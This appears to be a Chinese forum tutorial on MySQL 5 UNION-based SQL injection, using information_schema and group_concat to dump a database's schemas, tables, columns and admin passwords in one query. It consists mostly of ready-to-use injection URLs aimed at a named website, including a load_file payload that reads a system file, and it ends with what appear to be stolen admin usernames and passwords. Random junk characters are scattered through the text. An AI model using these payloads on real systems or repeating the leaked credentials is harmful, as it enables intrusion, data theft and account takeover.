此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
3 |7 _9 m9 ~( O: ^, h9 `但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人& j+ j7 `! g3 X. i2 Z" f
: l2 l! [! T0 c: g' Z8 N) e
: p. J; K7 F N f- `: V7 x优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
5 I! c6 h* u! p0 M. Y# F" o& L) s4 X) \+ n( e
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
: q$ M9 E9 T( b$ U3 h+ A
: G. a. s4 ~' \" |下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示! {6 d: h0 E9 J6 t/ z8 A a
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等) C, K$ ^4 a$ R
& h& E8 t3 M. A, m) X, Zhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
& K; h" L% b9 l& H& e/ [- r$ Z% j* {* e% w# G }
读出所有库:
- {) ]/ w% S% I6 s( Ghttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA: y# s% E6 I" g) \ ]1 [
; X+ b% G1 Y2 c: l) g7 _) [
% M+ ]/ Y0 J# [1 V5 ]* _" e3 A+ Q7 B3 q- m4 \# Z
读出所有表:6 V9 D: n, `6 f$ H3 T B
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()- P& F' N' Z0 G4 l+ Z
+ e5 p/ Z3 `" [; w4 }9 H读出所有表字段:
7 o6 x+ A! ~5 s- @; X5 Z2 Vhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)" y4 w3 M5 _* r( `! \: |
*/ (97,100,109,105,110)为admin的ascii码 依次类推; Y7 r' V6 Q q' {
' A& D U" E: M; A读出所有表字段里的内容:) i7 K3 ?. R2 f4 Q( F
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin' H% w% j* ^: l
( f, f# u. q* n4 Y0 Z# o @, I' j, x3 a6 v% [. X! L
, Z& j1 s5 L+ w \1 P5 B
. |% {, b! B* z" z& B4 T1 k) z
4 W r* {5 c- z% Q0 ^: j
; Y4 P. H) r; R- T" r- ~http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%239 p% }$ q2 `' Z
3 R* z3 |$ s# \
/ V4 E! M, n" ~http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
( R+ s$ |2 B j# j) ?4 \( ^, u- c4 e% i/ B, D1 g
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
$ ~. H3 ?" e1 T/ ^, c# Y
3 Q8 ~# {% e! M) h! w- R+ p- [& ~" R4 r# U
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23' k. ^* F+ E' R3 D
$ l# ~) n$ X5 L
) g# @5 L8 V) M! h/ s) S
webmaster:dzb521123,simlab:simadmin20043233
0 `4 Z- l5 i) ]8 |$ }' b7 u |